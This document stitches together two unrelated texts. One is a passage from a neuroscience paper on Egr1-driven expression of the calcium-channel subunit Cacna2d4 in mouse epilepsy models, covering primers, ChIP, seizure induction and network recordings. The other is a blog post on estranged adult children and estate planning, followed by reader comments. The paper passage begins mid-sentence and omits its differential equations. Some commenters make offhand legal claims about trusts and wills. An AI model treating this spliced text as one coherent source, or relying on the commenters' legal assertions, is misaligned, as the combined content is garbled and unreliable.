mRNA Direct Micro Kit (Invitrogen) and the RevertAid Premium First strand cDNA Synthesis Kit (Fermentas), respectively. mRNA quantification was performed by real-time RT-PCR using the ΔΔCt-method. Quantitative PCR was performed in an ABI Prism 7900HT apparatus (PE Applied Biosystems) containing 1× Maxima SYBR Green/ROX qPCR Master Mix (Fermentas), 5 pm each oligonucleotide primer (Synaptophysin: 5′-TTCAGGACTCAACACCTCGGT-3 and 5′-CACGAACCATAGGTTGCCAAC-3′; Cacna2d4: 5′-CTGCCAGAAGACATTCGTGA-3′ and 5′-TTTGACTTCTGTGGCCTCCT-3′; Cacng5: 5′-CGAGATGCTCAACAGAACCA-3′ and 5′-AGACATCACCCCAGCACTCT-3′; Cacna1s: 5′-CCCCGTGCCAGGTAACA-3′ and 5′-GAGCCTCCTGGATCAGCAT-3′; Cacna1h: 5′-TCATCTTCGGCATCGTTGG-3′ and 5′-CGCAAGAAGGTCAGGTTGTTG-3′; Egr1: 5′-GGAGCCGAGCGAACAACCCT-3′ and 5′-TCCAGGGAGAAGCGGCCAGT-3′) and 1/10 synthesized cDNA (total volume of 6.25 μl), by incubating 2 min at 50°C, 10 min at 95°C, 40 cycles of 15s at 95°C and 1 min at 59°C. Quantification was based on synaptophysin (Chen et al., 2001). ISH. Mice were deeply anesthetized with 16 mg/kg xylazine (Rompun; Bayer) and 100 mg/kg ketamine, i.p. (Ketavet; Pfizer) and were transcardially perfused with 4% PFA. Brains were removed and postfixed in 4% PFA overnight at 4°C. Brains were then rinsed in PBS and cryoprotected in ascending sucrose series (10%, 20%, and 30% in PBS), and 20-μm-thick sections were cut on a cryostat. ISH on frozen sections was performed using RNAscope Fluorescent Multiplex Detection Reagents (323110, ACDBio) according to the manufacturer's instructions for fixed frozen tissue (User Manual: 323100-USM). Probes (Mm-Egr1-C3: 423371-C3 and Mm-Cacna2d4-C2:487531-C2) were designed by ACDBio. Sections were counterstained with Hoechst (Sigma-Aldrich), then rinsed twice in TBS-T (5 min) and twice in TBS. Sections were mounted with Aqua-PolyMount (18606, Polysciences) and imaged on an Axio Observer inverted fluorescence microscope (Carl Zeiss) using 40× or 63× objectives (EC Plan-Neofluar, Carl Zeiss) and structured illumination (ApoTome, Carl Zeiss). Images taken with the 63× objective are maximum intensity projections of Z stacks. AxioVision MosaiX software was used to stitch images. Transfection and Luciferase assay. NG108-15 cells were transfected using Lipofectamine 2000 (Invitrogen) in 48-well plates. Per well, 0.05 μg of pAAV-CaV3.2FL-Luciferase (Kulbida et al., 2015), 0.0125 μg of Renilla control vector (pRL-TK; Promega), together with the amount of Egr1/Egr1dN plasmids as indicated, were mixed with 0.5 μl lipofectamine and 25 μl OPTI-MEM (Invitrogen) and added to the wells after 20 min incubation. Cells were grown in Opti-MEM (Invitrogen) for 16 h. Then, the serum-free medium was replaced by normal NG108-15 medium (see above); and 36 h after transfection, a luciferase assay was performed using the Dual Luciferase Reporter Assay System (Promega), as described previously (van Loo et al., 2015). Chromatin immunoprecipitation (ChIP) assays. ChIPs on NG108-15 cells and total hippocampi were performed as described previously (van Loo et al., 2015) using the SimpleChIP Plus Enzymatic chromatin IP kit (Cell Signaling Technology; #9005) with 5 μg anti-Egr1 (SC-110, RRID:AB_2097174, Santa Cruz Biotechnology). The recovered DNA and the corresponding Input-DNA samples were analyzed by PCR with primers spanning the putative Egr1-binding sites in the Cacna2d4 promoter region (see Fig. 3A; ChIP1: 5′-ACCTTGGAGCAGGTCGAAAC-3′ and 5′-TGGAAACCTAGGACCCTACCC-3′; ChIP2: 5′-GATGTGCACCTCCAAGGCA-3′ and 5′-TGGTGTGGTTCACGTTTCCA-3′; ChIP3/4: 5′-CAGAGCCTAGCCCACAAAG-3′ and 5′-TGCCCTTCTGCTCCAAAGAG-3′; ChIP5: 5′-AGAGGAGAGGCCAGTGGATT-3′ and 5′-AGCCCCTGCTGGGAGATAA-3′; ChIP6: 5′-TGGCAGCAAGTTATCTCCCAG-3′ and 5′-CCACAGGATGATTGGCGTCT-3′). PCRs included 1 μl input/immunoprecipitated DNA, 10 pmol of each primer, and 1× EconoTaq Plus Green Master Mix (Lucigen) in a 25 μl reaction. Reactions were amplified at 94°C for 30 s, 58°C for 30 s, and 72°C for 45 s for 35 cycles and analyzed on a 2% agarose gel. Stereotactic viral vector injection. Mice were housed under a 12 h light/dark cycle with food and water ad libitum. Adult male mice (∼56 d, >20 g) were obtained from Charles River (C57BL/6-N; MGI catalog #5651595, RRID:MGI:5651595). Adeno-associated virus (AAV) and lentiviral injections (1 μl of viral suspension) into the CA1 hippocampal region were performed as described previously (van Loo et al., 2015), at the coordinates (in mm) −2 posterior, −1.5/1.5 lateral, and 1.5 ventral relative to bregma. All experiments were performed in accordance with the guidelines of the European Union and the University of Bonn Medical Center Animal Care Committee. Pilocarpine- and kainic acid (KA)-induced SE. To induce SE by systemic injection of pilocarpine, adult male C57BL/6-N mice were first injected with 1 mg/kg (s.c.) scopolamine methyl nitrate (Sigma-Aldrich). Twenty minutes later, animals were injected with 335 mg/kg (s.c.) pilocarpine hydrochloride (Sigma-Aldrich). Forty minutes after SE onset, the mice were injected once with 4 mg/kg (s.c.) diazepam (Ratiopharm). Control mice were given scopolamine methyl nitrate and diazepam, but 0.9% NaCl instead of pilocarpine. For induction of SE by KA, 60-d-old male C57BL/6-N mice were anesthetized with 6 mg/kg xylazine (Rompun; Bayer) and 90–120 mg/kg ketamine, i.p. (Ketavet; Pfizer) and received analgesic treatment (5 mg/kg ketoprofen, s.c.; Gabrilen); 70 nl KA (20 mm solution) was injected unilaterally in the cortex above the left hippocampal region (at the coordinates −2 mm posterior, −1.5 mm lateral, and 1.2 mm ventral relative to bregma) at a rate of 35 nl/min using a microprocessor-controlled mini-pump (World Precision Instruments). After injection, the needle was left in place for ∼5 min before withdrawal. Then, the incision was closed and animals were visually observed to check for the occurrence of behavioral motor seizures. Sham-control animals were treated identically but received 0.9% NaCl instead of KA. Pentylenetetrazol (PTZ) model. Seizures were induced by repetitive intraperitoneal injections of PTZ every 10 min. Each injection consisted of 10 mg/kg PTZ (Sigma-Aldrich) and was given until a seizure occurred. The total dose of PTZ per animal did not exceed 100 mg/kg (10 injections). Human temporal lobe epilepsy (TLE) patients and mRNA expression analyses. For the human gene expression analysis, human hippocampal biopsy from patients with hippocampal sclerosis (HS; n = 79) and patients with lesion-associated (low-grade neoplasms or dysplasia; n = 35) chronic TLE from the surgery program of the Department of Neurosurgery (Bonn, Germany) were analyzed as described previously (van Loo et al., 2015). All procedures were conducted in accordance with the Declaration of Helsinki and approved by the Ethics Committee of the University of Bonn Medical Center. Informed written consent was obtained from all patients. Recording and analysis of the network activity in hippocampal cultures. Dissociated hippocampal cultures were prepared from newborn C57BL/6 mouse (postnatal day 0). Suspension of dissociated hippocampal cells (1 million cells/ml) obtained after dissociation with trypsin was plated on poly-D-lysine-coated 60-electrode microelectrode arrays (MEAs) with interelectrode distance 200 μm (MultiChannel Systems). After plating, all cultures were incubated in serum-free Neurobasal medium at 37°C in humidified atmosphere (95% air and 5% CO2), with culture medium being partially replaced on a weekly basis. The neuronal network activity was sampled at 10 kHz using MEA1060INV-BC system (MultiChannel Systems) at 37°C in an atmosphere with 95% air and 5% CO2. The detection of spikes and bursts as well as network burst analysis were performed as described previously (Bikbaev et al., 2015). Briefly, the analysis was performed on 10-min-long intervals for each culture at each time point using Spike2 software (Cambridge Electronic Design). The threshold-based (±7 SDs of spike-free noise) detection of spikes in high-pass (300 Hz) filtered records was followed by identification of bursts (≥5 spikes with interspike interval ≤ 100 ms). The mean firing and bursting rates were calculated separately for each active electrode in each individual culture. Modeling the time course of Egr1 and Cacna2d4 mRNA. We used numerical evaluations of the below set of differential equations to fit the temporal evolution of Cacna2d4 mRNA by adjusting the rate constants for the decay of the only assumed intermediate Egr1 protein and the rise and decay of Cacna2d4 mRNA. All levels were treated as relative levels to control/before SE and therefore assumed to be 1 before injection of pilocarpine (initial condition). The time course of Egr1 mRNA levels was used as input to the model, and solving the differential equations with this input resulted in a predicted time course of Cacna2d4 mRNA. The difference between this predicted time course and the measured relative levels of Cacna2d4 mRNA was minimized during the iterative fitting process by adjusting the 3 rate constants mentioned above (below k2, k3, k4). Egr1 mRNA levels were approximated by a linear interpolation of 0 and 2 h and a biexponential decay thereafter (1 + 45.1 × exp (−(t − 2)/1.76) + 15.4 × exp (−(t − 2)/19.3, red continuous line, [egr1](t)). We solved the following two differential equations: with The calculations were performed using the built-in fitting and numerical integration functions of Igor Pro 7 (Wavemetrics). Experimental design and statistical analysis. All experiments were conducted in a blinded and randomized manner. Statistical analyses were performed using Prism 6.05 software (GraphPad, RRID:SCR_002798). Unless otherwise mentioned, Student's t tests and repeated-measures ANOVA followed by Tukey's multiple-comparisons tests were used to calculate the statistical significance. Sample size (n) per experiment was calculated using power analysis, with parameters set within the accuracy of the respective experiment. All results are given as mean ± SEM. Results Binding sites for Egr1 are strongly overrepresented in the regulatory regions of genes coding for VDCCs and their subunits Recently, we reported that the TF Egr1 can regulate transcription of the Cacna1h gene encoding the T-type calcium channel CaV3.2 (van Loo et al., 2012). As the Egr TF family consists of four genes, we hypothesized that it may play a broader role in the transcriptional regulation of VDCCs. To probe this hypothesis, we first checked whether promoters of VDCCs and their subunits contain consensus binding sites for the Egr TF family. Interestingly, bioinformatic analysis using the Genomatix gene regulation tool revealed that consensus binding sites for the Egr-family are indeed highly overrepresented in the promoter regions of all VDCCs and their subunits (Table 1): more binding sites for Egr-family members are present in these promoter regions, compared with either the total genome (4.2-fold overrepresentation; Z score of 43.17) or other promoter regions (2.3-fold overrepresentation; Z score of 23.53; for information on Z score, see Materials and Methods). Further analysis of these consensus binding sites revealed that most of the Egr-family binding sites were consensus sequences specific for Egr1 (Table 2). Overrepresentation of TF families in VDCCs and their subunits Overrepresentation of Egr-family members in VDCCs and their subunits Next, we analyzed specifically all distinct promoter regions of genes coding for VDCCs and their subunits for Egr1 binding sites. For 13 of 19 VDCC promoter regions, a significant overrepresentation for Egr1 was observed, with the strongest overrepresentation for the Cacna1h promoter region (228-fold overrepresentation; Z score genome: 70.64; Z score-promoters: 22.89). No Egr1 binding site was found for Cacna1i, Cacnb2, and Cacnb4 (Table 3). Overrepresentation of Egr1 binding sites in distinct VDCCs and their subunits Pilocarpine-induced SE augments transcription of four VDCC subunits Previously, we have shown that 3 d after pilocarpine-induced SE expression of CaV3.2 (Cacna1h) was increased in the hippocampal CA1 area due to Egr1-dependent promoter activation (Becker et al., 2008; van Loo et al., 2012). We therefore examined whether the mRNAs of those VDCC subunits showing a strong overrepresentation of Egr1 binding sites in their promoter regions (Table 3) are also augmented after pilocarpine-induced SE. For this, we analyzed RNA-seq data from hippocampal CA1 3 d after pilocarpine-induced SE. From the 13 VDCC-family members displaying overrepresented Egr1 binding sites, the mRNA levels of Cacna1s (13.7-fold) and Cacna2d4 (13.9-fold) were increased (Table 4). Subsequent quantitative RT-PCR confirmed significantly increased Cacna2d4 mRNA levels (13.4-fold; p = 0.0018; Fig. 1A). The mRNA expression level of Cacna1s in the hippocampal CA1 area was found to be too low for reliable assessment by quantitative PCR (Ct values > 33). In summary, these results indicate that, in addition to Cacna1h, also Cacna2d4 contains binding sites for Egr1 and shows increased expression levels after pilocarpine-induced SE. Fold change increase of mRNA expression levels of all VDCC family members in hippocampal CA1 3 d after pilocarpine-induced SE Cacna2d4 has a proconvulsive effect and alters spontaneous network activity. A, PTZ induction in adult mice. Adult mice were injected with rAAV-hSyn-Cacna2d4-mCherry or rAAV-hSyn-tdTomato and tested for PTZ sensitivity 14 d later. Bottom, Representative picture of an rAAV-hSyn-Cacna2d4-mCherry-injected hippocampus. Scale bar, 200 μm. B, C, Time until first seizure (B) and number of injections until first seizure (C) in rAAV-hSyn-tdTomato (ctrl; n = 9) and rAAV-hSyn-Cacna2d4–2A-mCherry (Cacna2d4; n = 10) injected animals after injection with PTZ every 10 min. Time until first seizure: *p = 0.04 (t test). Number of injections until first seizure: *p = 0.019 (t test). D, E, PTZ susceptibility in pLenti-hSyn-Cacna2d1-HA (Cacna2d1; n = 5) and pLenti-GFP (ctrl; n = 5) injected mice. Time until first seizure: p = 0.61 (t test). Number of injections until first seizure: p = 0.79 (t test). F, Representative traces of spontaneous neuronal firing derived by an individual electrode at different DIV as indicated in control (left) or α2δ-4 overexpressing hippocampal mouse culture (right) grown on 60 channel MEAs. Vertical scale bars: 50 μV; horizontal scale bars: 20 s. G, H, The mean firing (G) and bursting (H) rates in either naive mouse cultures (n = 2 MEAs), or in cultures overexpressing α2δ4 (n = 3 MEAs; infection at DIV12 after baseline recording; 2 μl per 1 ml of medium). The developmental increase in the neuronal activity is less prominent in α2δ4-overexpressing cultures. Group effect: firing rate, ***p < 0.001, F(1,399) = 11.14 (two-way ANOVA). Bursting rate: *p < 0.05, F(1,184) = 4.57 (two-way ANOVA). I, The developmental increase of the mean rate of spontaneous network bursts (NB; time effect: p < 0.001 F(2,192) = 14.48, two-way ANOVA) was evident under control conditions (***p < 0.001 within-group comparison with respective values at DIV12, Duncan's post hoc test), but not in α2δ4 overexpressing cultures (group effect: p < 0.001, F(1,192) = 108.96; group × time interaction: p = 0.001, F(1,192) = 6.08; two-way ANOVA). The effect of α2δ4 overexpression is particularly prominent 8–10 d after AAV infection. Between-group comparison at respective DIV: #p < 0.05 (Duncan's post hoc test); ###p < 0.001 (Duncan's post hoc test). Cacna2d4 overexpression dampens network activity in cultured primary hippocampal neurons Both KA- and pilocarpine-induced SE, as well as PTZ induction, render limbic structures susceptible for propagation and secondary generalization of epileptiform activity regardless of its origin. To examine how overexpression of Cacna2d4 affects hippocampal neuronal activity per se, we performed additional in vitro experiments in dissociated hippocampal cultures. Analysis of spontaneous network activity in cultures allowed us to analyze intrinsic network properties in the absence of extrahippocampal sensory inputs and therefore assess the effect of solely α2δ4 increase on neuronal firing. Mouse hippocampal cultures grown on 60 channel MEAs were infected with rAAV-hSyn-Cacna2d4-2A-mCherry at DIV12 after plating. Because we observed a strong increase of α2δ4 mRNA levels 3–10 d after pilocarpine- or KA-induced SE (Fig. 2B,F), the spontaneous network activity was recorded 6, 8, and 10 d after infection and compared with that obtained from age-matched control cultures. Intriguingly, we found that overexpression of Cacna2d4 led to significant suppression of neuronal firing in cultured hippocampal neurons: 8 and 10 d after infection both the mean firing rate (reflecting the spike rate of neurons in vicinity of an electrode; between-group p < 0.001, ANOVA) and the number of bursts (p < 0.05, ANOVA) were clearly reduced compared with respective values in control cultures (Fig. 4F–I). The incidence rate of network bursts, which reflect the episodes of synaptically driven functional network interaction between spatially remote neurons, was also markedly lower in α2δ4-overexpressing cultures (p < 0.001, ANOVA). Discussion Here, we demonstrate a robust and long-lasting transcriptional augmentation of the VDCC subunit α2δ4 during epileptogenesis tightly controlled by the TF Egr1. Considering the neuronal loss after SE and the fact that Cacna2d4 is exclusively expressed by neuronal cells whereas we sampled RNA from all cell types, the transcriptional increase is even stronger at the level of an individual neuron. The action of Egr1 in epileptogenesis goes beyond the regulation of Cacna2d4 as it promotes also the activation of CaV3.2, which has been previously demonstrated to convert hippocampal neurons hyperexcitable after SE (Becker et al., 2008). Previously, Egr1 was uncovered to contribute to several processes of epileptogenesis (Hughes and Dragunow, 1994; Beckmann et al., 1997; Rakhade et al., 2007; Helbig et al., 2008; López-López et al., 2017; Lösing et al., 2017), which makes this TF an ideal candidate for a powerful hub gene in an epileptogenic gene regulatory network and opens new vistas for pharmacological intervention by targeting the Egr1-pathway. The transcriptional increase of Cacna2d4 was found in two different SE models. Recently, a study analyzing gene expression profiles of three different SE models (intraperitoneal injection of pilocarpine, intraperitoneal injection of KA, and self-sustained SE) revealed a concordance of gene expression of only 4.5% among the different SE models (Dingledine et al., 2017), indicating that only a very low number of genes shows a similar change in gene expression levels in different SE models. This indicates that our observed increase in Cacna2d4 gene expression in the two SE models rather belongs to the fraction of robustly regulated genes. Of course, a 100% identical expression profile for Cacna2d4 in the KA and pilocarpine model is not expected due to slight differences between the two models (Leite et al., 2002; Jefferys et al., 2016; Lévesque et al., 2016). The transcriptional increase of Cacna2d4 after SE is rather unexpected, given that α2δ4 shows a distribution restricted to endocrine tissues, where it was shown to be expressed only in specific cells of the adrenal and pituitary glands (Qin et al., 2002). In brain structures, Cacna2d4 is generally absent and only expressed in retinal neurons under physiological conditions (Wycisk et al., 2006a, b). Another study has shown a more ubiquitous distribution of Cacna2d4, albeit with low expression in brain and muscle (Qin et al., 2002). Recently, it has been found that Cacna2d4 expression was strongly increased in hippocampal-like neurons derived from induced pluripotent stem cells in patients with bipolar disorder, with a magnitude of Cacna2d4 augmentation comparable with our results in the two SE models (Mertens et al., 2015). Hippocampal Cacna2d4 expression is thus very low under normal physiological circumstances but can be strongly augmented under pathophysiological conditions, such as bipolar disorder or epilepsy. Considering the expression profile of Cacna2d4, such a large increase of a low-abundant protein might have a stronger cellular and potentially pathological effect than an equivalent increase of a high-abundant protein. The activation of transcription of Cacna2d4 by Egr1 after SE resembles closely the temporal kinetics of the T-type channel CaV3.2 (Kulbida et al., 2015). Because the expression of transfected T-type channels is substantial in the absence of α2δ subunits, it is assumed that native T-type channels normally exist without associated α2δ proteins (Perez-Reyes et al., 1998; Lee et al., 1999). Nevertheless, overexpression of α2δ1 and β1b subunits resulted in a twofold increase of the current density of CaV3 channels, and was accompanied by an increase of CaV3.2 and CaV3.3 present at the plasma membrane (Dubel et al., 2004), indicating that α2δ subunits may transiently interact with CaV3 channels and may therefore be considered as a regulatory subunit of T-type calcium channels. However, unfortunately, to date, nothing is known about the impact of α2δ4 subunits in the regulation of CaV3 channels' surface expression and function. Our results show that experimentally increasing the low levels of α2δ4 in the CA1 region in vivo caused a higher susceptibility for PTZ-induced seizure activity. In addition, elevating α2δ4 levels in hippocampal cultures deprived of extrahippocampal inputs led to suppression of both the neuronal firing and the network interaction. How can the lowered PTZ threshold be reconciled with reduced neuronal activity found in vitro? A key concept explaining this apparent discrepancy may be that rhythmic activity patterns and hippocampal oscillations correspond to a seizure-resistant condition. These ongoing patterns of activity temporally coordinate the discharges of hippocampal neurons in a cell type-specific and phase-locked manner well controlled by the circuits of hippocampal excitatory and inhibitory neurons, such that it is difficult for extra foci of activity to occur and spread. Indeed, it was shown that pharmacological or electrical induction of theta activity in hippocampus counteracts the induction of PTZ-induced seizures (Miller et al., 1994). To robustly maintain its intrinsic rhythms, the hippocampal network requires a certain level of excitability to be able to recruit a sufficient number of neurons into rhythmic firing upon sensory activation, which favors synaptic plasticity. Elevating α2δ4 levels in hippocampal cultures worked against this and decreased the number of neurons involved in network activity. We thus propose that transduction of CA1 neurons in vivo with α2δ4 decreases the propensity of CA1 cells to participate in hippocampal rhythms and, by this, destabilizes the intrinsic and regular patterns of hippocampal activity. This, in turn, renders the hippocampus more vulnerable to epileptiform discharges and their propagation into all-or-none pattern of seizure activity recruiting the whole network. Importantly, analogous reductions of PTZ seizure threshold have previously been documented after decreasing intrinsic or synaptic excitability of hippocampal neurons by elevating NaK-ATPase activity (Funck et al., 2015) or lowering transmitter release (Bröer et al., 2013). Furthermore, we previously observed that mice devoid of the presynaptic active zone protein RIM1α, which exhibit a decrease in neurotransmitter release in the hippocampal CA1 region, also experience an increased seizure frequency in the chronic phase after pilocarpine-induced SE (Pitsch et al., 2012). The α2δ4 subunit is by far less studied than other members of the α2δ family, which makes it difficult to nail down a precise mechanism that might be responsible for reduction of intrinsic, synaptic, and/or network excitability. Nevertheless, recent analyses of KO mice have revealed essential roles for α2δ4 in modulating Ca2+ channel trafficking and biophysical properties, as well as in presynaptic active zone organization (Wang et al., 2017). Remarkably, α2δ4 was reported to physically interact with the cell adhesion molecule Elfn1, which in turn binds, depending on the synapse type, to specific metabotropic glutamate (mGlu) receptors (Tomioka et al., 2014; Wang et al., 2017). This interaction affects the presynaptic release probability, for example, at hippocampal oriens-lacunosum-moleculare synapses. Given that both Elfn1 and mGlu7 KO mice exhibit spontaneous seizures, it was suggested that reduced Elfn1 levels might affect network excitability due to disorganized dendritic inhibition by oriens-lacunosum-moleculare interneurons (Tomioka et al., 2014). In rod photoreceptors, α2δ4 is required for the expression and synaptic targeting of Elfn1 (Wang et al., 2017). Thus, an increase of α2δ4 might via Elfn1 reduce release and impair the transmission of information along the hippocampal circuitry. Persistent long-term suppression of activity over days and weeks likely will trigger homeostatic plasticity aimed to restore the physiological levels of activity, resulting in a network prone to propagation and hypersynchronization of excessive epileptiform discharges. In this scenario, RIM1α and the α2δ family can effectively contribute to increased seizure susceptibility: Both RIM1α (Castillo et al., 2002) and α2δ (Wang et al., 2016) have been identified as important mediators of presynaptic plasticity that adjusts neurotransmitter release according to ongoing levels of cellular and network activity. Such adaptation is thought to serve as an essential mechanism of keeping the overall excitation/inhibition balance, whereas a failure of activity-dependent adjustment can be associated with predisposition to seizure generation. Our numerical modeling showed that the long-lasting increase in Cacna2d4 mRNA levels observed after the brief increase in Egr1 levels can be explained with a simple scheme of coupled reactions. Indeed, if the scheme was devised even simpler and the Egr1 protein was omitted, no acceptable fit could be obtained because Cacna2d4 levels still increased while Egr1 mRNA had already decayed back to control levels. On the other hand, we consider it unlikely that more intermediaries than Egr1 are involved, as our ChIP experiment showed that Egr1 itself binds to the Cacna2d4 promoter. Is the longevity of this transcriptional program of functional importance? Our monitoring of neuronal activity in primary hippocampal neurons addresses this question. Very soon after viral transduction at DIV12, neurons persistently expressed the transduced Cacna2d4 as judged by mCherry levels, thus replicating the time course of Cacna2d4 observed in vivo following SE. Remarkably, the resulting decrease in network activity was fully developed at least 8–10 d following the viral transduction. This suggests that α2δ4 must be present over long periods of time to exert its effect on the neuronal firing. This raises the question of whether a short-lasting increase of Cacna2d4 can be tolerated and the deleterious consequences of epileptogenesis can be minimized or even completely abolished. This question may be therapeutically relevant as it might allow avoidance of the development of chronic epilepsy by early termination of the transcriptional program activated by SE. In conclusion, Egr1 controls transcriptional expression of CaV3.2 and α2δ4, which act synergistically in epileptogenesis. Future studies may clarify whether the function of Egr1 to orchestrate mRNA signatures during epileptogenesis is even more comprehensive. Footnotes This work was supported by the Deutsche Forschungsgemeinschaft SFB 1089 to K.M.J.v.L., D.D., S.B., A.J.B., and S.S., BL767/3-1 and BL767/4-1 to S.B., FOR 2715 to A.J.B., BMBF EraNet DeCipher to A.J.B. and S.S., European Union's Seventh Framework Programme FP7/2007-2013 under Grant agreement 602102 (EPITARGET) to A.J.B. and S.S., Else Kröner-Fresenius Foundation to A.J.B. and J.P., Fritz Thyssen Foundation 10.15.2.022MN to A.J.B., Schram Foundation to M.H. and A.F.B., the Maria von Linden Program of the University of Bonn to S.B., and the BONFOR program of the University of Bonn Medical Center. We acknowledge the assistance of the Viral Core Facility of the University of Bonn, supported in part by SFB1089. We thank Lioba Dammer, Anna Dorißen, and Sabine Opitz for excellent technical assistance; and Rebecca Kulbida for providing materials for this study. The authors declare no competing financial interests. - Correspondence should be addressed to Karen M.J. van Loo at Karen.van_loo{at}ukb.uni-bonn.de

By Sheri McGregor, M.A. You always wanted the best for your children. You probably still feel that way, even if one or more of your kids grew up and called you toxic. Moms and dads with estranged adult children struggle with decisions about estate planning. Should you leave things to them? According to the ideas of one money expert, an inheritance from estranged parents could do them more harm than good. Toxic inheritance? Margaret M. Lynch, author of Tapping Into Wealth, believes some money is toxic. She explains that money from sources you don’t feel good about drags you down. That could be income from a hated job, a career you feel guilty about, or something like gambling that takes time away from family or goes against one’s beliefs. Soured relationships also fit, so loaned, given, or inherited money could be considered be toxic. Inheritance can be toxic? Interesting. . . . Parents, if your adult children no longer accept you—your values, politics, or whatever else—then, by Lynch’s standards, anything you leave to them could be considered a “toxic inheritance.” SKI The first time I heard of older folks learning to SKI was from a so called “toxic” mom who cracked a joke. Her two estranged adult children had decided they wanted nothing to do with her or their father. So, she and her husband were SKIing around the country in an RV. I didn’t get it, so she explained: S -pending K-ids’ I-nheritance Since then, I’ve seen all sorts of blogs and articles reporting on this endeavor. There’s even a T-shirt! That rejected mom laughed about SKIing, but saving estranged adult children from toxic inheritance is no joke. Freeing them from the emotional burden of a “toxic” inheritance may be worthy of consideration. Toxic money isn’t the only thing rejected parents must consider. Our lives have a way of filling up with things. Finding our treasures a home We might have collected things our whole lives, imagining that one day our children would cherish them as much as we do. These days, even to adult children who remain close, our treasures may be viewed as little more than clutter. To our estranged children, it’s probably downright junk! Whether necessitated by downsizing or motivated by not wanting to leave a toxic mess for others to clean up when we’re gone, it’s wise to sift, sort, and trim down possessions while we can. Here’s a shortlist to get to you started. - Photographs and home movies. Have the sharpest ones digitized or ask who among relatives wants to preserve family history. Or, consider donating images and films of vacations to various city sites, State, and National parks to historical societies. Each society has its own criteria for fair use, so do your research. Draft and photocopy an inquiry letter, or create an email template, in which you plug specific names and addresses, then send it to organizations. One mother shared family photos of historical sites with local museums. At the very least, trim down your collection. Maybe you’re like Nanci. After 14 years of estrangement, she expressed feelings of glee when shredding old photos of her estranged son’s wedding—the last photos she has of him and her together before the years of separation began. - Valuable items. Antiques, Persian rugs, or artwork can be sold. If the idea of running ads and fielding calls doesn’t appeal, hire an estate service to come into your home and manage sales for you. When you receive the proceeds, reward yourself. Use the money to fund an exotic vacation, a trip to the spa, a stay at a lavish hotel, or for something else you’ve been wanting to try. Or, donate to a cause that’s important to you. - Fine China, silver, or flatware. Check with Replacements.com for possible sales. They specialize in customers wanting to complete their sets. Or, as one mother did, smash the dishes to bits! I’m not suggesting you destroy anything, but you could use the China pieces with their artistic motifs in crafts such as pretty garden art, jewelry or ceramics. In the spirit of new beginnings, maybe you end up opening an Etsy shop to sell the things you create—or offer them to existing Etsy artisans. - Donate. Take excess belongings to a local charity or use one that offers curbside pickup at your home. Most charities list on a website what they do and don’t take. You might be surprised—I recently took some new picture frames still in their original cellophane packaging to a donation site that turned them away. Also consider listing free items on Craigslist or Nextdoor. Upcycling is in, and no-contact, porch pickups have become routine. - Precious custom heirlooms or other special items. Diana always thought she’d pass her jewelry to her daughter. Many were commissioned for her by her late husband and are one of a kind. “The items won’t mean anything to my daughter,” says Diana. “She’d only sell them.” (Toxic treasure=toxic money.) Diana has no other family but has found an upscale jewelry restoration store that will buy them outright or sell them on consignment. “My exquisite jewelry will go to people who love it!” she says. “With the money, I’m taking one of those hiking vacations I always wanted to go on. And if there’s enough left over, I’ll get a walk-in tub installed.” Getting serious about your estate While the idea of SKIing is a semi-humorous way to look at the idea of leaving inheritance (and makes sense for some), for most parents, estate planning is serious business wrought with emotional landmines and distress. That’s especially true when estrangement is part of the family portrait. Some of us have estranged adult children with mental health issues or disabilities, or we weigh their dismissal of us against our own sense of what’s right or wrong. We may think of our other adult children, the ones we have stable relationships with, and decide it would be unfair to them to reward a sibling’s bad behavior. Or, perhaps we consider how an inheritance might be viewed by an estranged adult and want to send a message with any gift or non-gift. In Done With The Crying, end-of-life sections with a variety of scenarios and reflection questions help rejected parents think things through and make sensible decisions. The WORKBOOK: for Parents of Estranged Adult Children allows more room for expanded notes and brainstorming. In my newest book, planning for one’s demise is covered in a different but equally vital way. Beyond Done With The Crying: More Answers and Advice for Parents of Estranged Adult Children will be available soon. What about you? After polishing up her toxic treasures and transforming them into a SKI trip that will bring her hiking vacation joy, Diana deserves a good soak. Will you SKI? Will you save estranged adult children from a “toxic inheritance”? Perhaps you figure an heir is an heir, regardless of behavior. Leave a comment and let other loving parents know what you’ve decided to do about estate planning. It’s an important topic. Related reading: Estate planning: Is the paperwork done? Join the newsletter I think it was a no brainer for us to change our will to disinherit our 27 year old cherished and well taken care of daughter when we realized her inexplicably estranging from us over 4 months ago is not over anything we did. For us the deciding factor was it became clear we could never trust her to consider the needs of her 23 year old brother who is on the spectrum if the unthinkable happened to us (he works but will always need some guidance). I imagine we’d still be agonizing over this and still worry about how much this would hurt her if they were both neurotypical and could take care of themselves. This decision was made even easier when we realized the accusatory, revisionist, and scripted language that both she and her fiancé started using towards us is part of the online “No Contact” with parents trend that encourages troubled young adults to blame their parents for their problems. My husband still wants to reach out to tell her why we’re disinheriting her which doesn’t make sense to me. Is there any reason to tell her that I’m not understaning? My 3 adult children have been estranged for about 4 years now due to their belief in the lies their mother and Popop say about me. Such horrible lies. I have not met my sons twin boys born last Sept and didn’t walk my daughter in her wedding last month. My son calls me an embarrassment and my daughter a monster. I will do them a favor and not embarrass him, or scare her with an inheritance. I will always love them. Good for you! You are choosing to stand up for yourself!!! My estranged child has my parents treasures (mistake on my part), owes me money needed to buy my DIL her engagement ring, I paid for his first wedding and spoiled him rotten with everything and more and most important all my caring, giving, and tons of love!!! (I was a fool!!) Now I’m estranged! What does anyone think or even feel his inheritance should be? Your right if you said he already received it! Our estranged children or alienated children will never know we have passed unless they are informed or there is an obituary. In many states the your Trust is written to notify only those who are listed within the Trust. You can express your final wishes for burial or set it up prior to death with a funeral home so no other relatives need to be notified. Request no obituary. Have your services after your Trust is completely settled or via circle of friends. We have seen fights over wills that would make your skin crawl! These were distant relatives who had zero rights to anything and still went to court, and won! Everything needs to be in a trust. You can even add their name if your gravely ill to your assets. Then no one can take them away. My father did that when he had cancer. I was a great & an awful mom to my 2 adult sons. Second son had dad leave our 10 year marriage when I was 4 months pregnant. Older son was 2 at that time. So, single-parent upon coming home from hospital. Older son has always been aggressive, but lovable and creative and solid. Younger son is very reserved and brainy. Both boys, in their 30’s, are best friends. Older is married, younger is single. No kids. Like all of us, I had good days and not great days. A lot of it came from fatigue, financial stress, and even after divorce, an onslaught from their dad. I have been harder on my older son, as he is challenging, even in adulthood. I see a lot of genuine caring from him, along with continuous disrespect being tossed at me. When tired, I have taken the low road, and we spar. Not proud of myself. It has been our lifelong dynamic. Many holidays have fallen apart because of it. Including this one. As we parted company, I saw a look of deep sadness and disappointment in his eyes that I have not seen before. That is the final time we have had contact. He is done. It took all that for me to understand my part in all this. 